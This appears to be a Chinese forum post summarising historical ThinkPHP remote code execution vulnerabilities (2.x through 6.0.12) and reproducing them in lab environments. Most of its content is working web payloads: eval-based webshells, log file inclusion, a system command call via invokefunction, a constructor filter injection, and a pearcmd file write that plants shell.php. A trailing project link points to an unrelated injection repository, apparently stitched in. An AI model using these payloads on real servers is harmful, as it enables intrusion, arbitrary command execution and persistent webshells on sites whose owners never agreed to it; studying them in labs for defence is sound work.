ThinkPHP历史RCE漏洞总结与复现

图片[1]-ThinkPHP历史RCE漏洞总结与复现-山海云端论坛

环境: Docker, VulHub, VulFocus

一、ThinkPHP 2.x/3.0 RCE

原理: 利用preg_replace/e模式匹配路由,导致用户输入参数被插入双引号中执行,造成任意代码执行漏洞。

Payload示例:

<code>/index.php?s=/index/index/xxx/${@phpinfo()} /index.php?s=a/b/c/${@print(eval($_POST[1]))}</code>

二、ThinkPHP 3.2.x RCE(日志RCE)

原理: 模板赋值方法assign的第一个参数可控,可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。

Payload示例:

<code>Index.?m=Home&c=Index&a=index&test=--><?=phpinfo();?> index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/23_12_17.log</code>

三、ThinkPHP 5.0.22/29 RCE(系统命令执行)

Payload示例:

<code>http://192.168.135.129:8080//index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /var</code>

四、ThinkPHP 5.0.23 RCE

Payload示例:

<code>POST /index.php?s=captcha&test=-1 HTTP/1.1 …… …… _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1</code>
图片[2]-ThinkPHP历史RCE漏洞总结与复现-山海云端论坛

五、ThinkPHP 6.0.12 lang-RCE

原理: 存在一处本地文件包含漏洞,攻击者可以使用lang参数来包含任意PHP文件。

Payload示例:

<code>Index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST['pass'])?>+shell.php</code>

项目地址:https://github.com/Maldev-Academy/RemoteTLSCallbackInjection

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容